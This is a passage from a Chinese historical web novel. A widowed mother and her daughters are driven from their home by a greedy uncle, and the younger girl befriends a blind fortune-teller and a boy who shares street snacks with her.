“自然,诸位若是愿意心平气和的议事,我自以热茶相待。”展青玉又道,神色一抬,看向了绷着脸眯着眼的展大,反常的宽容:“大伯喜欢这主位,我将这间宅院拱手送与你也无妨。”
瞧着众人脸上或错愕或惊喜的神情,展青玉莞尔:“只一桩秘事,我要与大伯讲。”
这座宅院,展老太爷实则也没费什么银钱,展大一家子如今住着的康家巷子的院子,与这儿也不差什么。可树讲究落叶归根,他们一家子搬来上京,若要论根,不说回江南了,那也定是在这儿的。再者,展家前头二子没了,展大以长子自居,当年为着贪墨一事气死老爹,被
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亲娘将这间视为祖宅的院子的留给幼弟,自个儿灰溜溜的走了,怎么说都是丢了大脸面的。
展青玉说要将这间宅院给他,这无异于以肉骨头诱狗。
一屋子的人都被请了出去,只留展青玉和展大。
展青芒像是忠心的小护卫,捧着新一碗的百花醴水,盘着小腿儿往门前一坐,身后就是关着的两扇门——谁也别想偷听!
展大媳妇儿有些急,冲王娘子道:“究竟是什么了不得的要紧事,还要将我们都撵出来?”
王娘子比她还慌,天神爷啊,这院子是婆母当年留给她家官人的,如何能予了旁人?可院子里这么多人,她又如何劝?
众人神色各异,心怀鬼胎。只有展青芒悠悠闲闲喝着蜜水儿,被甜得眯眼笑。
阿姐病好啦,阿娘也回家啦,太阳呀,我阿爹何日回来呢?
丽日当空,渐偏隅中。
屋门打开,展大有些不辨神色的走出来,招呼一家子走了。
“姑母留步。”展青玉声音从屋里传来。
一句唤得众人皆止步。
展大疑心似的,眼神在之间转了个来回。
展小姑惴惴不安的朝堂屋走了两步。
展青玉也不消她费这个脚力,迈出门来,道:“姑母不必装鹌鹑,我娘是个好性儿,碍着我爹的脸面,待你们多宽宥。可我却是个极不念情面的,姑母若是为着讨好哪个,对我说些不中听的话,下回表弟出入哪家赌坊,姑母就不是去缴罚资领人了。”
展小姑半句未说,脸先被吓得一白。
展青玉也不管她,侧眸看向欲言又止,愤愤不平的展大媳妇儿,又道:“因着伯父伯母之过,碎了我家两只茶盏,虽是建州窑产的次品,不值什么银钱,但过了我家的茶汤,一盏两贯钱,也不算太过。”
展大嫂:“好一个狮子大开口,就那样的破盏烂碗,两贯钱都能买五个了!”
“我劝伯母还是将钱留下的好,不然,我就得留堂弟住些时日了,前院儿缺个跑腿儿的小仆,后院儿也缺使唤的小厮,再有,若当真如伯母所言,有贼人翻墙入内,我也只得让堂弟顶上了。”
儿都是娘身上掉下来的肉,展大暂且不提,展大嫂却是容不得自己幼子被人呼来唤去的当仆从,更别提展青玉说的后面那档事!再是不痛快,展大嫂还是掏了一锭碎银将自己儿子赎了回来。
真真儿是天杀才!
一文钱没拿到反倒丢了四两!
那打秋风的一走,展家关起门来吃晌午饭。
王娘子食不下咽,味同嚼蜡。
展青玉知其惦记什么,咽下一筷子嫩笋,道:“这院子给了大伯家,咱们午后便搬家。”
心里的石头沉了底,王娘子搁下筷著,心焦又忧道:“阿玉,这是你爹的院子,怎能给了你大伯他们一家?你爹若是……有知,他恐难过。”
“他已经走了,可我们还得活。”展青玉目光平静。
母女俩对视片刻,展青玉又轻声道:“他若当真有知,也只会难过护不住我们。”
5. 第 5 章
金辉洒落小轩窗,光意悠长。
展青玉抱着一只木匣迈出房来,取下肩上的轻裘,给站在她腿边的小姑娘拿去放好。
待那胖乎乎的小身影蹦跳不见,展青玉道:“诸位在家里做工,皆有不短的时日了,如今遭逢变故,然则眼下院子未必能保住,各自来我这里取了工钱,另寻良主去吧。”
这些时日,众人也并非察觉不到,眼下听得这番话,诧异并无几分,尽是叹息遗憾,既为自个儿,也替和善的主家。笨口拙舌的木讷人,宽慰的话说不出口,只在大小姐多给了一月的工钱时,连连推辞,干巴巴的说:“家里、家里用银钱的地方多,大小姐快快收回去,小的只取自己的工钱就好……”
“拿着吧,做工也不是朝夕间能寻得的,都有家人要养活,多领一月的份例也不至于家里紧巴巴的过。”展青玉拨着算盘珠说。
众人二辞。
还是苗婶儿站了出来,道:“大小姐给了,就都拿着吧。出了这道门,也要记着,莫议主家长短,吃一粒米,裁一身儿衣,念着点儿大小姐的恩。”
待得仆从辞别罢,展青玉收起算盘,从手边的木匣子里拿了那装满的锦袋,双手递与苗婶,道:“自母亲嫁来,婶子就来家里了,不知解了阿娘多少犯难,我与阿芒,也多受婶子照料,原是该给婶子养老的,可家中变故,今日不知明日的,恐添不测。这袋金子就权当是我与阿芒给婶子的养老了……”
“我、我也要走?”苗婶儿这会儿才慌神了,“阿玉啊,你莫不是要带着娘子和阿芒回江南去?”
展青玉轻摇首,实话说道:“祖母在时,我及笄之年新岁,她曾给了我一张宅院契子,说是嫁妆,那院子在城东玉带巷,婶子日后若有烦难,皆可差人去送信。”
苗婶儿先是松了口气,又慌忙道:“既是不离上京,何不带我一道?娘子不擅庖厨,没我做饭,阿芒吃什么呀。”
“谁也不是生来便什么都会的,”展青玉轻声道,“阿娘在房中难过,婶子去与她说说话,今日便归家吧。”
主仆俩在房中抱头哭,可谁都拗不得那硬心肠的回心转意。
日光稍偏,那硬心肠的拢着轻裘蹲在旁,饶有兴致的看那小姑娘撅着屁股在冒着新绿的老桃树下转圈儿的挖呀挖,五六个坑洼,旁边放着沾着泥土的小瓷罐儿,拨浪鼓,漂亮的小石头……
“阿姐,我们以后都不会来了吗?”
夜里,展青芒抱着阿姐的手臂,葡萄眼里满是茫然的问。她不知道她们为什么要搬走,但她偷听到了,大伯要带着堂姐她们住进来,太欺负人!
“喜欢桃树吗?等搬过去,我再给你栽种一株,还可以藏你的宝贝。”展青玉说。
展青芒脑袋摇得像是拨浪鼓,肉爪子拍着自己的小胸膛,“我自己!”
苗婶儿说啦,阿姐这病,得将养好些时日呢。挖坑费力气,她可以!
没两日,展大带着儿侄并六七个膀大腰圆的闲汉打上门来,将这一家子孤儿寡母撵了出去。贵重物件儿一应没有,只几个松散包袱和三卷儿被褥,扔在了巷子里不知谁雇来的牛车。
巷子里有那看不过眼的说两句,展大眼睛一瞪,骂:“干你鸟事!”再说,那持棍的闲汉挺着胸膛就要过去了。
巷子里住着的虽说不是什么达官显贵,但也是各家有几间酒楼,或几十亩良田的殷实体面人家,对着无赖闲汉,真真儿是斗不过狠。
展青玉始终沉默,王娘子心酸垂泪,任谁瞧,都是被无良亲戚欺压的可怜人。
展青芒背着自己的小包袱,吭哧吭哧爬上牛车,盘腿坐稳当,扭着身子回头来招着小肥手唤:“阿娘,阿姐,走啦!”
对门儿跑出来一个穿粉裙子的小姑娘,巴掌大的小脸上满是惊慌,都要哭了,“阿芒,你去哪里呀?”
展青芒扭回身来,看着小石榴,如大人般长叹声气,无不失落的说:“要搬走了,这里不是我家啦。”
小石榴哇的一声就哭了,抽抽噎噎的也要爬上车来,被她阿娘追过来赶紧抱走了。
“我不,我不,我要阿芒……”小石榴哭得好不厉害。
“别哭啦,等我……等我给你写信。”展青芒抠着手指头说,只这话说着略显心虚。
小石榴要把自己的兔子送给展青芒,展青芒没收,只道是等她生小兔子了再送她。日暮四合,展家母女几人,就在街坊邻里的目送下,这么仓促又狼狈的离开了巷子。
牛车往城东玉带巷去,经过集贤巷时,正值诸位大人下值。
王娘子哭红的眼睛不是作假,展青芒噘着嘴后知后觉的为朋友分别而难过也是真。三两卷铺盖,七八个包袱,好不凄凉。
展青玉裹着披风,风吹乱了额发,眼眸微低,余光瞥过那或着紫袍金带或穿绿袍乌纱,至某处时,多停了两瞬。
王焕站在人潮里。
“大人?”
身后跟着的小厮唤。
待得牛车从面前过,王焕转身往另一侧的马车走,上车时,他吩咐:“去查一下前几日宁王世子惊马案被牵连的几位官员的家眷如何了。”
“啊?”
“此事你亲自去办。”
展大就像一块儿滚刀肉,街坊邻里的谁朝他家指指点点,他就朝对方啐,还没过几日,大家路过他家门前都绕着走。更遑论那些敢登门来,替那母女三人说话,指责他们一家子鸠占鹊巢的——
“滚你奶奶的腿!这是我自家事,要得你们多嘴多舌?再敢多说什么,老娘割了你多出的二两舌头给我当家的下酒!”
展大媳妇儿是个泼的,那张嘴,除了被展青玉吓得不敢张,还没怕过谁呢。
陈平是被他家大人捡回去的,跟在他家大人身边几十年,少说也浸了些文人气,陡一遇着这么泼的,都没回过神儿来,那两扇门就啪的在他跟前合上了。
“……”
晚间,王焕下值回府,用饭时,陈平将听来的一一禀了。
“大人是不知道,那一家子都凶悍蛮横,展姑娘再是胆大,也到底是个未出阁的,哪里能扛得住?小的听街坊说,那一家上门打秋风是常有的,如今就剩那孤儿寡母,被占宅抢铺的,不算稀奇。”
王焕沉默听着,用完一碗饭,方才道:“知道了。”
“大人,可要将这事报去府衙?”陈平问。
“不用管了。”
“啊?”
玉带河对岸,酒楼成片。此刻上了灯,火树银花连九市,倒映在玉带河中,如银河倒悬。另一岸,屋舍连绵,炊烟袅袅。
“阿芒,回家吃饭了!”
“唉。”
小孩儿垂涎的嗅着晚风中飘拂的酒菜香,咽了咽口水,皱巴着脸往家走。
三天啦!
都三天啦!
她都没有吃饱饭!
苗婶儿不在,阿娘第一夜烧饭点了灶房。阿姐翌日找人来修缮,可惜,新灶房也没有让饭煮熟。今儿喝了两顿粥,瞧着……还是喝粥。
巷子里没有小孩儿跳方格,小孩儿都回家吃饭啦。展青芒看看桌上的粥饭,又看看完好的灶房,心里嘀咕,她对它很失望。
“嘟噜着脸做甚,被谁欺负了?”展青玉问她。
展青芒爬到凳子上坐好,摇摇头说:“阿姐,我想吃肉肉。”
展青玉:“且等两日,还没学会。”
展青芒:?
紧接着,就见她阿娘从灶房里端出来一碟黑乎乎的,她一哆嗦,“吃、吃炭吗?”
展青玉:……
王娘子面露尴尬,一时间竟也不知往前还是后退,踟躇道:“我去重新烧吧?”
展青芒出去遛弯儿不知情状,展青玉却是知道的,阿娘未至傍晚时便去了灶房,烧了三回才终于有了这一盘……不太焦的。只还未请人品鉴,倒是先被小闺女泼了盆凉水。
展青玉有些好笑,用筷著一端轻敲了下那惊恐抗拒的小姑娘的脑袋,道:“别挑食。”
展青芒:?
王娘子闺名唤作王婵,家中姐妹二人,在闺阁时,家中算是富裕,请了先生来教识字,教针织女红的嬷嬷更是严苛,却唯独没教过庖厨。
前儿烧了厨下,靠着街坊送来的热汤热饭凑合一顿,昨儿修缮罢至
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今日,她都不敢敞开院门,唯觉丢人。
家里没了仆从,诸多事皆得亲力亲为。王娘子没了对床垂泪的闲时,上午要与巷子里的妇人一道端着木盆去河边浣衣。
展青玉今日要出门。展青芒想跟,被阿姐无情拒绝,闷闷不乐的牵着阿娘去洗衣裳。
展青玉将买来的两个烧饼包好,冲那可怜兮兮的小胖背影道:“回来给你买肉吃。”
展青芒捂嘴偷乐。
玉带河这边,不比她们从前住着的巷子宽敞。许多小贩无甚规矩,揣着袖子往墙根儿下那么一坐,边晒太阳边叫卖,只叫卖也懒得出力,展青芒觉得,这声儿就像是夏末转秋凉时的蝉叫,难听。
王娘子怕自己照看不及,小闺女失足落水,将人安顿在巷子旁,“你就在这里玩儿,别跑远了。”王娘子叮嘱。
展青芒乖乖点头,体贴的道:“阿娘去忙吧!”说完,有样学样的也揣着袖子往墙根儿一蹲。
王娘子:……
展青芒旁边坐着一个老头儿,蓄着长须,倚墙立着一竹竿儿,竹竿儿上挂着片布,布上写着什么字,展青芒就不认识了。太复杂啦,阿姐还没教她呢。
要紧的是,这片布被风呼啦啦的吹,展青芒脑袋一片凉。
她摸摸脑袋,倒腾着小步伐,往旁边挪挪,老头儿跟前掉着的三枚铜钱,可比那字儿好看!
老头儿似在睡觉,他没看见!嘿嘿~
展青芒轻手轻脚的又挪挪,生怕将人惊醒了,人家先捡了去。她屏住呼吸,伸手——
“哪儿来的小毛贼?”
老头儿慢悠悠的说着,干树皮一样的手捏着小孩儿的手腕扭头打量。
他早察觉了,小姑娘跟那富贵人家用来包饺子的面团儿似的,白净又软和,大眼睛透着股机灵劲儿,也就是看着。自以为人不知鬼不觉的,那衣服都碰到他手背了,他是假寐,又不是真睡,还喜滋滋的不觉呢。
“我不是!”
展青芒也是能听出好赖话的年纪了,鼓着脸不高兴的反驳。
“那你拿我铜钱。”老头儿调子慢慢的,故意逗小孩儿玩。
展青芒不觉张嘴,有些吃惊,也有些可惜,她忍痛道:“好吧,你一个我一个,剩的一个我拿去买糖分你一半。”
老头儿笑,另只手温吞的捻起那三枚铜钱,往自个儿袖袋揣,说着不要脸又气人的话:“谁要与你分。”
展青芒:!!!
太欺负小孩儿了嗷!
“那是我先看见的!”展青芒不服得扑腾。
老头儿:“是我先捡到的。”
旁边儿蹲墙根儿的小贩哈哈笑,瞧乐子。
展青芒都要被气哭了,嘴巴一瘪:“我都三天没吃肉肉了……”
老头儿笑眯眯的戳戳她软乎乎的手臂,“我都三天没饭吃了。”
展青芒:……
展青芒若是再大些,就知道老头儿口中的没饭吃与她想的不同。可她不知道呀,晌午吃过昨日的剩饭,在阿娘边念叨着晚食还得吃这个,边端着剩饭往厨下走时,劫道儿似的抢了那还剩小半陶瓷盅的粥,端着往外跑。
“哎,你做什么去!”王娘子喊。
展青芒不敢说,怕阿娘不允,跑去河对岸的墙根儿下,将手里的陶瓷盅往那老头儿怀里一放,“你快吃!”
老头儿讶异,却没推辞,就着舀粥的勺,慢条斯理的吃。瞧他的吃相,不像是饿了三天的,可展青芒吃不下的白粥,老头儿却是吃得很珍惜一般,一粒米都没剩。
吃完一抹嘴,朝小孩儿勾勾手指让她近前来,拖着股懒调说:“不白吃你的,给你算一卦。”
“算卦?”展青芒睁着大眼睛,明显不知其然。
“就是你有什么想问的,”老头儿也不嫌烦,支棱着一条腿,没什么坐像,手里转着三枚铜钱说。
展青芒扶着脑袋想了好片刻,然后问:“我阿爹何日能回家呀?我们搬家啦,阿爹会不会找不到啦?”
老头儿手里的铜钱摆弄片刻,看着她,却是答了句风马牛不相及的——
“你命中有贵人。”
6. 第 6 章
展青玉回来时,已是向晚时分。巷子里几个小孩儿热闹的凑在一处在玩儿翻花绳,展青芒抱着小腿坐在自家门前看。怎么瞧,自家的小孩儿都孤零零的可怜。
小姑娘性情活泼,鲜少有这样的时候,除非是充霸王不成,人家恼了不带她一块儿玩了。
“阿姐!”
看见熟悉的身影,展青芒欢喜得跳起来,炮仗似的一脑袋冲过来。
展青玉被她扑得后退两步方止住,将拎着的一纸甜糕给她,“拿去跟人家分着吃。”
展青芒吸吸鼻子,嗅出了马蹄糕的甜香,有些小气的不情愿,说:“我跟阿姐和阿娘分着吃!”
展青玉被她这小抠门儿劲儿惹得哂笑,“人家怎么不带你玩儿?又惹人烦了?”
展青芒哼了声,扬着下巴透着点儿小桀骜,“谁稀罕!”
硬气一句,又忍不住的抓着阿姐的手碎碎念的告状,“我想玩儿过家家,她们定要玩儿翻花绳,花绳有甚好玩儿的,我才不喜欢呢……”
姐妹俩边说话,边进了门。如今春意正暖,院中却是荒芜,只墙根儿底下透出些绿意杂草来。
王娘子正在院中归置物什。三五文钱的粗瓷杯盏,再怎么洗,都洗不出汝窑瓷的细腻白皙来。
展青玉看见,没说什么。使唤展青芒跑腿儿,去厨下端碗碟来盛她买回来的饭食。
晚间,一家子总算是能坐下好好吃一顿饭了。
三天没饭吃的算命老头儿一盅粥吃得慢条斯理,三天没吃肉的展青芒一桌菜吃得狼吞虎咽。
“慢些吃。”王娘子瞧着心疼,想与展青玉说什么,一抬头,却是见她思绪不佳,她心里顿时咯噔一下,小心的问:“可是出了何事?”
展青芒从饭碗里拔出脸,腮帮子撑得鼓鼓的,也好奇的看着阿姐。
又要搬家啦?
展青玉轻摇首,道了句‘无事’,替展青芒盛了碗汤放在手边。
王娘子长舒口气,吃几粒米,忽而想起什么,将展青芒端着半盅剩粥跑出去给人家吃的趣事说来笑。
展青玉听罢,咽下口中饭菜,道:“那位眼盲看不见。”
“啊?”
一大一小,异口同声,两脸懵逼。
“我倒是未瞧出……”王娘子细眉微蹙道。
“那他怎还能捡三枚铜板!”展青芒义愤填膺握拳头。
“那是人家吃饭的东西,”展青玉递给她一块肉饼,轻易哄得小姑娘松开了拳头,“那位祖上是旧朝的勋贵,你们瞧如今的玉带巷皆是两进三进的小院儿,那是从前人家家里赏给身边伺候的下人住的地儿,可惜后来因故被抄了家,那位也因此盲了眼,纨绔子拿着三枚铜钱,自此改弦换张,在这玉带巷一片混日子。”
王娘子听得直道可惜。
展青玉却是平静的说:“焉知官家不是因他废物潦倒才赦他一命。”
展青芒听得稀里糊涂,问了句自个儿最关心的,“他没饭吃呀?”
见着阿姐点头,那没分给小朋友的马蹄糕,后来被算命瞎子吃了半数。瞎子咂舌满足道:“过年了。”
跟前蹲着数蚂蚁的小姑娘抬眼,望着岸边飘拂的柳枝,神色茫然:“没有呀。”
是春日里了呢。
阿爹跟着圣驾去打猎还没回家。
想着,展青芒忍不住问阿娘,阿爹何日归。王娘子眼窝一热,险些落得泪来。
“他……得晚些日子。”她道。
展青芒双手托着脸颊,有些失望的叹气,“我想阿爹了呢。”
童言稚语最是戳人心,王娘子背着她哭了一回。展青芒不知道,吃过午饭,就迫不及待的捧着饭前特意留出来的饭菜蹦跳着出门了。
瞎子也不推辞,吃完一抹嘴,说:“你家的饭菜真难吃。”
展青芒盘腿儿坐在他旁边,玩儿他的三枚铜钱,也叹气:“我家从前是苗婶做饭啦,很好吃呢,只可惜苗婶回家啦,我阿娘做饭不好吃,我都瘦了呢。”
瞎子听得哈哈笑,伸指戳戳她手臂,“胡说,都是肉。”
说完,又故意吓唬小孩儿,声音一低,扮鬼:“小孩儿最好吃了,肉嫩,你这样的最好。”
展青芒听得一愣,而后乐不可□□是妖怪啦!”
展青芒有一个大朋友,比起跟巷子里的小孩儿翻花绳,她更喜欢蹲在墙根儿看瞎子给人算命。三枚铜钱在他指尖能转出花儿来,可有意思呢。展青芒趁他不注意时偷偷玩儿,可她的手指太不听话啦!
瞎子脾气不好,有的人算命不收钱,有的人收大钱,有的给多少钱他都不算,惹得人家生气要掀他的摊儿……可他也没摊儿呀,就一根竹竿儿撑着片布,都当了展青芒的小垫子。
瞎子说,那人穿的衣裳他不喜欢,不乐意给他算。展青芒心说,你又看不见。但瞎子很大方,赚的铜板会给她买糖葫芦吃!
只是,展青芒也不是时时都能找他玩儿的。熟悉的位置没见着人,展青芒往那儿一坐,迟至晌午,有时一天都等不到人。
唉~
“好懒呀,你不给我赚糖葫芦了吗?”展青芒捧着饭食凶道。
瞎子听得好笑,笑骂:“好生厚脸皮。”
于那样一个晴日,瞎子将那三枚铜钱给了她。也不知是从哪儿摸来的红绳,鲜亮光洁,将那陈旧斑斑的铜钱穿在一处,给她戴在了脖颈。
“别摘,澄明寺的秃驴开过光的。”瞎子不无得意的说。
展青芒不知开光是什么意思,但她喜欢脖子上挂着的铜钱,稍一动,铜钱撞在一处,叮铃咣当的响,她咧着嘴巴乐。
“你不用了吗?”乐完,展青芒扭头问。
“爷懒得伺候了。”瞎子如是说。
他身上穿着旧得东西拼凑补丁的袍子,脚上蹬一双破布鞋,屈着条腿倚墙坐着,仰起的脸轮廓分明。那双眼睛不似瞎子僵木,反而很灵巧,迎着日光睁着,安静着,似乎能窥得见几分从前的样子。可是声音里尽是叹息,面上的笑也浮得很。
只是,小孩儿如何懂?
展青芒想起阿姐说过的话,眼珠子骨碌碌的转,凑近他耳边小声提醒,“你都不是爷啦。”
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瞎子佯装被气得要抽她。
展青芒笑嘻嘻的跑开,只余一串铜钱响。
……
春光韶华少有静时,晨光跃于江面,金光粼粼的好似姑娘的披帛,夺目耀眼。
小贩早早挑了四时肉蔬,各寻摊位,立于墙下叫卖。荠菜春笋豌豆苗,鸡蛋蹄髈肥鲫鱼。
街边亦有一揭笼屉满街飘香的肉包子,小娘子笑盈盈的在门前招呼四方客。
青石桥上,几个穿着素白单薄衫的半大少年穿过光影,疾步跑来,额上汗涔涔。前面的师兄喊后面的小师弟跟上,轻扬的少年音动了这幅景儿。
小儿嘴唇动了几下,抬袖抹了抹汗。
糖糕、花卷儿,肉包子……
不如旁边那懒汉手里成串儿的红果子诱人。
几人跑下青石桥,顺道将自家的水桶打满水,满载而归,说笑声吵吵闹闹,融进了喧闹的街,没发现,队尾的小师弟……被迷了眼。
江祈年穿着练功服,立在糖葫芦桩子下,也只能够得着最下面的那根。他递了铜板,自己拔下一根,迫不及待的咬下一颗,心里数着时辰,要快快吃完,在师兄们出来寻他之前回家。
矮身一蹲,他对上了一双葡萄似的大眼睛。心尖儿一颤,手里的糖葫芦都晃了晃,他想,莫不是他家的年画娃娃跑出来玩儿了。
四目相对半晌,江祈年嘴里的糖果子都吃完了,看着她难以从自己糖葫芦上拔开的眼神,嘴唇动了动,“……你想吃?”
简直是废话……
小女娃抹一下口水,看着糖葫芦直点头。
展青芒是个知分寸的小姑娘,她伸出一根手指头竖着,保证说:“我只舔一下,轻轻的……”
江祈年:……
他忍痛将手里刚吃两颗的糖葫芦递给她,“你吃吧。”
然后,展青芒探着脑袋,狸奴似的伸出粉舌舔了一口。
糖衣没被舔掉,当真是很轻啦。可那颗糖果子却是被口水润得亮晶晶,像是日光下,她的眼睛。
“你吃呀~”
展青芒殷勤催促。
江祈年心里叹口气,咬掉了这颗糖果子,手再次朝她递去,在那颗圆润脑袋凑过来时,他抢先出声:“咬着吃。”
展青芒一愣,随即大喜!
今天又是吃到糖葫芦的一天啊!
两个小孩儿蹲在人家的糖葫芦桩子下,分食了一根,方才意犹未尽的起身要回家。
路过瞎子的算命摊儿时,展青芒皱着两根小眉毛叹气——都三天没来摆摊儿啦!
旁边有人拉着驴车经过,江祈年拉起她的手臂,两人靠边边站。这一扭头,注意到她的眼神,江祈年捏着仅剩的几枚铜板,犹豫一瞬,问:“羊肉锅盔要吃吗?”
“要!”
声音脆如银铃,半分迟疑也无。
展青芒望着那空荡荡的地儿,脸上纠结的毛毛虫不见了,忽而恍然大悟,咧嘴笑眯眯。
她懂啦!
这是瞎子送给她的贵人!
看呀~
她的小财神哦!
7. 第 7 章
西边儿如意巷,往里数三户是一座三进院的宽敞大宅。此刻,十几个半大少年,光着上身就着桶里的凉水攥了布巾擦身,说话声吵得人头疼,浑似十几只麻雀在耳边叫嚷。
少顷,一绾发的貌美小娘子从厨下端着新出锅的肉饼过来,一瞧,红着脸背过了身去,语调嗔道:“青天白日的,哪有在院子里光着身的!”
竟是些闹人的,一个个不以为耻,竟还有笑哈哈答话的,“天儿暖啦,在院子里擦洗省去很多事哩!”
也有说着浑话,故意羞人的——
“小嫂羞甚脸,二哥的身子可比咱们几个结实多了!”
院中一阵哄笑。
沈碧玉堪堪跨过月亮门的脚,被这话羞臊得又缩了回来,转身往后院走,迎面撞上抓着条巾子,赤膊出来洗漱的江祁川。
“呦呵,今儿这肉饼香啊,”江祁川顺手从她端着的一摞肉饼里拿了个,张嘴就咬了一半,亲昵的促狭道:“娘带着大嫂去庙里还愿,给她知晓了你用这么油,回来擎等着挨骂吧,我可不替你说情。”
这招猫逗狗的性儿,偏爱惹人生气,再贱兮兮的凑过去哄。换作往日,沈碧玉飞他一记白眼,嗔骂一句‘不爱吃拉倒’,今儿却是抬手就拧他手臂,压着声儿恼道:“好啊,竟是跟你学的,大白日的光着膀子到处走!”
男人的腱子肉再硬,也总有处软得怕疼。江祁川被拧得哆嗦了下,嘴上却振振有词,“都是半大的小孩儿,看着就看着了,怎的,还害臊了不成?”
气得沈碧玉踹他一脚,抢了他手里那肉饼,气势汹汹的往厨下走。
江祁川揉着被掐疼的手臂,出来给几个抢水的小子一人一脚,“你们谁欺负我媳妇儿了?”
几人擦着脸嘿嘿笑,个个儿眼神炯亮。
“小嫂嫂可真好看,我日后娶妻,也要娶个漂亮的!”
“去你的!”江祁川失笑得给那毛还没长齐的小子一巴掌,眼睛寻了两圈儿,没看见自家老三,顺手扯了架子上晾着的薄褂子,边往外走边穿好。
出了巷子,便是熙熙攘攘的长街,有南来北往的商贩,河边浣洗的姑娘,也有临门儿吆喝着做生意的,可谓热闹。
江祁川也没去别处寻,他用脚趾头想,都知道那小不点儿去哪儿了。走上百来步,往右——
嗬!
今儿出息了,没站在人家那木桩下偷吃糖葫芦,倒是跟个胖丫头坐在小摊儿上分吃一个羊肉锅盔,粗糙的木桌上还晾着一碗热气腾腾的羊汤。
江祁川瞧得有趣,抱臂笑了好一会儿,才晃悠着步子走过去煞风景。
“吃独食呢。”江祁川说。
江祈年没说话,闻声仰头朝后看,轻轻叹了声气,喊:“二哥。”
江祁川在他脑袋上弹了个脑瓜崩儿,扯过旁边的木凳坐下,腿脚一翘,看向那嘴角啃得油汪汪,睁着双黑亮的眼睛瞅他的小胖姑娘。
“你是谁家的?”江祁川问,手痒似的揪人家的小花苞头。
展青芒把手里的牛肉锅盔递给空着嘴巴等的小哥哥,嚼吧嚼吧咽下,才说:“我是阿娘和阿爹家的!”
掷地有声,嗓音清脆。
翘着的小下巴得意坏了。
江祁川笑了声,“叫什么名儿?”
“她叫阿芒。”江祈年说。
“问你了?”江祁川笑哼,手指又捏捏人家可爱的小花苞,“住哪儿啊?”
展青芒喝着暖乎乎的羊汤,眼珠子骨碌一转,脆生生的问:“二哥住哪儿?”
江祁川听乐了,扶着腿笑,颇有意趣的看着俩人儿一人吃一口喝一口的,“你俩这怎么着,凑钱吃朝食?”
展青芒吃掉小哥哥剩给她的最后一口羊肉锅盔,拍拍腰间扁扁的小荷包,很是坦然大声:“我没钱!”
江祈年:“……我结了账。”
他说罢,顿了下,又道:“羊汤是阿姐给的。”
江祁川往那热腾腾的小店儿里瞅了眼,笑话他:“可真行,你二哥再穷,也没跟人姑娘同啃一张饼的。”
“阿芒,吃饭了。”
忽的,一声自巷子里的清泠声传来。
扎着俩花苞头的小姑娘咚的蹦下木凳,“来啦!”
说着,就要朝阿姐跑去,忽而想起什么,又停下,脑袋一扭问:“我明儿还来,你来吗?”
明亮的大眼睛,什么心思都藏不住。
江祁川目光从远处那容貌妍丽的姑娘身上收回,手臂搭着木桌扑哧乐了。
江祈年叹气:“……来。”
展青芒满意了,欢喜的跟阿姐回家。用过半顿朝食,见着阿娘煮糊的粥就不香了,勉强吃了碗滴了香油的蛋羹溜缝儿。
“……瞎子今儿又没来,我都好几天没见着他了,他也太不勤快了,”展青芒吃饱喝足,嘴巴嘚吧不停的话痨,“我见着他送我的贵人啦,我好喜欢呢,嘻嘻~”说到兴尽处,自个儿捂着嘴巴偷乐。
王娘子问她什么贵人,展青芒捂紧嘴巴又不说了。
王娘子茫然的看向展青玉。
展青玉倒是看着了那三人同桌而食,只心里想着,估摸是展青芒嘴甜,哄得那桌吃朝食的食客大方分她一些罢了。这贵人之谈,她也不甚明白。
自那日起,展青芒的清晨很忙呢。
迎着初升的日头,小姑娘跟个小大人似的,背着手从街这头巡到那头,又迈着精神的步伐回来,最后往那糖葫芦桩子下一杵,左右前后的眺望。
可是天儿热了,糖葫芦不在了。
那日,卖糖葫芦的小哥说,明儿就没得吃了。展青芒虽失望,但不难过。可是瞎子没告诉她,他不再来了。而展青芒却没再见过他,也没来得及给他看看自己的小财神。
那样一个刚下过雨、泥泞的清晨,展青芒起晚了。王娘子在厨下烧饭,就见自家闺女风风火火的踩着院中水洼往外跑。
“阿芒!要吃饭了!”
王娘子喊。
小姑娘的嫩黄衣裙像是迎春花似的,在影壁前一晃而过,没个影儿了。
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昨日连着夜下了一场大雨,空气里满是泥土腥气。今日摆摊儿的小贩不多,多穿着蓑衣,戴着斗笠。门前的蒸锅一揭开,白雾似的热气在那小片半空蒸腾。
展青芒着急忙慌的跑来时,街角已经有个小小身影在等了。
江祈年看见她,似是愣了下,而后道:“别跑了,慢些走。”
展青芒跑过来,累得双手抱着他手臂喘气,下一刻,却是仰头咧嘴笑,“我还以为你走啦!”
她总是这样欢喜的笑,成日里也不知哪里来的这么多开心。江祈年没告诉她,昨儿下了好大的雨,今日不必做早课,师兄们都在家睡觉呢。他掏出两块用箬叶包着的糯米糕,分给她一块。
“哇!还是热的!”
展青芒开心,睡得毛躁的两个发啾跟着开心的晃。
两人坐在屋檐下的长凳吃着清甜的糯米糕,看着街上为生计奔波的行人。
江祈年说:“我爹和大哥今日要回来了,这甜糕是我娘特意给我爹蒸的。”
展青芒咬一口甜糕,望着迟迟不出日头的灰蒙天色,叹气道:“我也想我阿爹了。”
江祈年扭头看她,巴掌大的小脸上,神情有些迟疑,还有些欲言又止。
巷子里没有秘密,展家搬来没几日,个家情况就被街坊知晓得差不离了。更何况,展杳是被斩首的。这于寻常百姓来说,可是大事。那日他二嫂与隔壁的多说了两句,回来便在吃饭时说了这事。
只是,那时江祈年还不认识展青芒。
跟着二哥回家时,二哥说:“那丫头估计就是玉带巷刚搬来的展家的。”
江祈年刚吃饱的嘴巴微微张圆,难免吃惊。
却是听他二哥笑,“后悔请人家吃朝食了?”
江祈年摇头,心想:阿芒没有阿爹了。
刚过辰时,不该是出殡的时刻。可不远处却有人抬棺而来,不见哭声,也没有捧灵位的孝子,却是有几只纸扎的灵马,慰藉的冥币。
有些吃朝食的食客,见此觉得有些晦气,“怎的大清早的出殡。”
“瞧着像是孤寡人,想来昨日大雨,才误了时辰,今儿雾又迟迟不散,谁知还会不会下雨,早早出殡了也好。”
街边的人细细碎碎的说话。
江祈年吃完糯米糕,将箬叶折叠。看着那纸马,眉眼间神色不解。又不能骑,带着做甚?
正疑惑,余光里身侧光影一闪。
就见捧着刚吃一半的糯米糕的展青芒,朝那木棺跑去,脖子上挂着的红绳歪歪扭扭露出一截,铜钱在胸前叮当响。
玉带河虽在城东,离各官署衙门不远。可也非是贵人们爱踏足的地儿,地面多年不修,坑洼不平,经昨夜雨,多是积水的水坑。而此刻间,一朵白色的小纸花安静的躺在水洼里,被展青芒捡了起来。
江祈年只以为她喜欢,要拿着玩儿,正当欲说这东西是安葬的,不吉利。却是见,展青芒咚咚咚跑着追去,将那纸花插进了棺椁的缝隙里。像是木棺安葬,生出的一朵极致干净的花朵。
